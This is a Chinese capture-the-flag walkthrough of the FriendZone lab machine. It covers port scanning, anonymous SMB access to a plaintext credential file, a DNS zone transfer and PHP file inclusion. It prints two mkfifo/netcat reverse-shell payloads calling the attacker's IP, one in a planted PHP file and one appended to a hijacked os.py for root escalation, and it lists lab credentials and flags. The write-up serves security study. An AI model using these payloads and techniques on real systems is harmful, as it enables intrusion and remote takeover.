靶机—— FriendZone

admin 2023年4月17日02:11:43评论13 views字数 7198阅读23分59秒阅读模式

目录

思路概述:[1]信息收集[2]

端口扫描[3]

漏洞探测[4]

smb探测[5]web服务探测[6]DNS服务器[7]文件包含getshell[8]

提权[9]

提权到root[10]


靶机IP:10.129.93.94

kali IP:10.10.16.4

靶机—— FriendZone

思路概述:

1.信息收集→探测到关键开放端口53,80,139,443,445

2.对smb服务扫描→获取admin登录凭证

3.对80端口测试→拿到新域名→进而想到53端口的探测→发现更多域名→加入/etc/hosts

4.对其他新域名进行探测→在administrator子域名处发现文件包含→getshell

5.通过翻文件,找到数据库连接凭证→撞密码获取初级用户friend的shell

6.通过pspy监听进程,找到计划执行的py脚本 reporter.py

7.根据reporter.py找到具有读写权限的os.py→更改os.py获取root权限.

信息收集

端口扫描

nmap -sV -sS -sC -A -p- —min-rate 5000 10.129.93.94

PORT    STATE SERVICE     VERSION                   21/tcp  open  ftp         vsftpd 3.0.3                                                                   22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)                            | ssh-hostkey:                                                                                           |   2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)                                                          |   256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)                                                         |_  256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)                                                       53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)                                      | dns-nsid:                                         |_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu                                                               80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))                                                 |_http-server-header: Apache/2.4.29 (Ubuntu)                                                             |_http-title: Friend Zone Escape software                                                                                                                                                                          139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)                                    443/tcp open  ssl/http    Apache httpd 2.4.29                                                            |_ssl-date: TLS randomness does not represent time                                                       | tls-alpn:                                         |_  http/1.1                                        | ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO                                                                                                 | Not valid before: 2018-10-05T21:02:30                                                                                                                                                                            |_Not valid after:  2018-11-04T21:02:30                                                                  |_http-title: 404 Not Found                         |_http-server-header: Apache/2.4.29 (Ubuntu)                                                             445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)                                                         

很明显这里开了139,445的smb服务。很大可能有问题。

漏洞探测

smb探测

smbmap -H 10.129.93.94

[+] Guest session       IP: 10.129.93.94:445    Name: 10.129.93.94                                              Disk                                                    Permissions  Comment        ----                                                    -----------  -------        print$                                                  NO ACCESS    Printer Drivers        Files                                                   NO ACCESS    FriendZone Samba Server Files /etc/Files        general                                                 READ ONLY    FriendZone Samba Server Files        Development                                             READ, WRITE  FriendZone Samba Server Files        IPC$                                                    NO ACCESS    IPC Service (FriendZone server (Samba, Ubuntu))

这里看到我们的Development有匿名读写,general有匿名读取。

nmap --script smb-enum-shares -p 139,445 10.129.93.94

Host script results:                                                                                     | smb-enum-shares:                                                                                                                                                                                                 |   account_used: guest                                                                                                                                                                                            |   \10.129.93.94Development:                     |     Type: STYPE_DISKTREE                                                                                                                                                                                         |     Comment: FriendZone Samba Server Files                                                             |     Users: 0                                      |     Max Users: <unlimited>                                                                             |     Path: C:etcDevelopment                      |     Anonymous access: READ/WRITE                                                                                                                                                                                 |     Current user access: READ/WRITE                                                                                                                                                                              |   \10.129.93.94Files:                           |     Type: STYPE_DISKTREE                                                                                                                                                                                         |     Comment: FriendZone Samba Server Files /etc/Files                                                  |     Users: 0                                      |     Max Users: <unlimited>                                                                             |     Path: C:etchole                             |     Anonymous access: <none>                                                                                                                                                                                     |     Current user access: <none>                                                                                                                                                                                  |   \10.129.93.94IPC$:                            |     Type: STYPE_IPC_HIDDEN                                                                             |     Comment: IPC Service (FriendZone server (Samba, Ubuntu))                                           |     Users: 2                                      |     Max Users: <unlimited>                        |     Path: C:tmp                                  |     Anonymous access: READ/WRITE                                                                       |     Current user access: READ/WRITE                                                                                                                                                                              |   \10.129.93.94general:                                                                                                                                                                                        |     Type: STYPE_DISKTREE                          |     Comment: FriendZone Samba Server Files                                                             |     Users: 0                                      |     Max Users: <unlimited>                        |     Path: C:etcgeneral                          |     Anonymous access: READ/WRITE                                                                       |     Current user access: READ/WRITE                                                                    |   \10.129.93.94print$:                                                                               |     Type: STYPE_DISKTREE                          |     Comment: Printer Drivers                      |     Users: 0                                      |     Max Users: <unlimited>                        |     Path: C:varlibsambaprinters               |     Anonymous access: <none>                      |_    Current user access: <none> 

这里可以看见我们有三个目录可以匿名访问

在general下找到了一个creds.txt

smbclient -N //10.129.93.94/general

get creds.txt

creds for the admin THING:
admin:WORKWORKHhallelujah@#

拿到了一个登录凭证。

现在尝试admin登录smb。登录失败。

web服务探测

在登录失败后,我思考这个凭证是否是一个后台登录的。然后就去寻找web服务。

首先我看见开了443端口,访问发现404报错了。

然后访问了80端口。得到了以下内容。

靶机—— FriendZone

在此我们发现了一点新的东西,这里有一个friendzoneportal.red域名是我们之前没有的。

DNS服务器

并且我们这里还想到了这里之前开了一个53 DNS服务器端口。再看看这个DNS服务器有什么东西

dig axfr friendzone.red @10.129.93.94

friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800friendzone.red.         604800  IN      AAAA    ::1friendzone.red.         604800  IN      NS      localhost.friendzone.red.         604800  IN      A       127.0.0.1administrator1.friendzone.red. 604800 IN A      127.0.0.1hr.friendzone.red.      604800  IN      A       127.0.0.1uploads.friendzone.red. 604800  IN      A       127.0.0.1friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800

随后结合之前存在443端口404报错,那么我们猜测一下这个443端口的域名就是这个friendzoneportal.red

我们把它加入到/etc/hosts中去

echo "10.129.93.94 friendzoneportal.red">>/etc/hosts

再次访问443端口获得了good!

那么扫一下。用dirsearch走了一圈,没东西。

接下来我把上面的解析记录全部添加到了/etc/hosts里面

随后通过443端口就可以访问这些服务了。

这里administrator1的域名是一个登录页面,用前面的凭证成功登录。

文件包含getshell

靶机—— FriendZone

这里发现有两个参数,一个是图片名,另一个是时间戳。

这里图片名的存在很容易想到文件包含。在加上之前存在一个文件上传,尝试两者结合获取shell。

测试发现这里的文件上传好像跟文件包含无法打组合拳。。。。。。那么考虑其他方式上传文件。

结合我们的SMB服务,我们可以对Development有写权限。尝试一下。

我通过SMB向/etc/Development传了一个123.jpg。尝试image_id=../../../etc/Development/123.jpg失败。

发现这个image_id这里不存在文件包含。然后思考这个另一个参数的意义。

这个看起来像一个功能点,但是不像文件,像是一个参数。我通过修改参数发现这个功能就没有了。

随后我尝试查看这个是否为一个页面,发现这个页面返回的是时间戳。也就是说,这里很可能是一个文件包含,自动添加php后缀。

靶机—— FriendZone

为了验证猜想,我尝试使用filter去读源码。熟悉的味道!

靶机—— FriendZone

<?php
//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";echo "<title>FriendZone Admin !</title>";$auth = $_COOKIE["FriendZoneAuth"];
if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){ echo "<br><br><br>";
echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
if(!isset($_GET["image_id"])){ echo "<br><br>"; echo "<center><p>image_name param is missed !</p></center>"; echo "<center><p>please enter it to show the image</p></center>"; echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>"; }else{ $image = $_GET["image_id"]; echo "<center><img src='images/$image'></center>";
echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>"; include($_GET["pagename"].".php"); //echo $_GET["pagename"]; }}else{echo "<center><p>You can't see the content ! , please login !</center></p>";}?>

果然,这里采用的是 pagename+.php的方式。

那么我们可以很轻易的getshell了。思路为先SMB上传,然后文件包含。

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 1113 >/tmp/f")?>

成功反弹shell。

靶机—— FriendZone

提权

读取user.txt

a97ee122aaaba6844d5872738bf336a8

随便翻翻,在上级目录找到了mysql_data.conf

for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ

这个账户名为friend,跟user一样。尝试SSH连接。(老套路了。

提权到root

找不到东西。linpeas上号!

找了一圈,感觉下面三个地方可能有问题。排除之后,在server_admin下找到新东西。

靶机—— FriendZone

靶机—— FriendZone

靶机—— FriendZone

存在reporter.py

靶机—— FriendZone

#!/usr/bin/python
import os
to_address = "[email protected]"from_address = "[email protected]"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to [email protected] -from [email protected] -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later# Sam ~ python developer

这段代码是一个Python脚本,用于发送电子邮件。它导入了OS模块,并定义了发送邮件的地址(收件人和发件人)。然后,它尝试使用mailsend命令(注释部分的代码)来发送电子邮件。但是,由于注释掉了实际的发送命令,所以目前并没有真正发送电子邮件的操作。该脚本似乎还有一些需要编辑的内容,这可能是作者留下的一些注释。

并且我们可以从权限中看出,这个脚本是归root所有,但是改不了。根据以前的靶机经验,也就是这里的reporter.py是可以被root执行的,类似于定期执行。

find / -perm -222 -type d 2>/dev/null

这个命令是用于在Linux系统中查找具有可写权限的目录的命令。具体而言,该命令会在根目录“/”下递归搜索所有具有222(2表示写权限,2连续出现表示所有用户均具有此权限)可执行权限的目录,并将结果输出到标准输出。其中,“2>/dev/null”用于将错误输出重定向到/dev/null,以避免在搜索过程中看到不必要的错误消息。这个命令在一些情况下可以用于查找可写目录,以便进行进一步的安全分析和风险评估。

/etc/sambafiles                                                                                          /etc/Development                                                                                         /var/spool/samba                                                                                         /var/tmp                                                                                                 /var/lib/php/sessions                                                                                    /tmp                                                                                                     /run/lock                                                                                                /usr/lib/python2.7                                                                                                                                                                                                 /dev/mqueue                                                                                                                                                                                                        /dev/shm 

这里我们看到了python2.7 进去翻一下。

看到这里os.py很碍眼啊。

靶机—— FriendZone

为了验证我们上面的猜想,运行pspy.发现果然root运行了reporter.py

靶机—— FriendZone

那么提权思路很清晰了!

reporter.py中导入了os.py , os是我们可以更改的。然后root运行reporter.py即可提权

将下面的代码加入到os.py的最后等着shell就行了

import osos.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 1114 >/tmp/f')

cat /root/root.txt

53774a85ac8122c7b0a491e2977bf6cf

References

[1] 思路概述:: #思路概述
[2] 信息收集: #信息收集
[3] 端口扫描: #端口扫描
[4] 漏洞探测: #漏洞探测
[5] smb探测: #smb探测
[6] web服务探测: #web服务探测
[7] DNS服务器: #DNS服务器
[8] 文件包含getshell: #文件包含getshell
[9] 提权: #提权
[10] 提权到root: #提权到root


原文始发于微信公众号(靶机狂魔):靶机—— FriendZone

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月17日02:11:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机—— FriendZonehttps://cn-sec.com/archives/1664225.html

发表评论

匿名网友 填写信息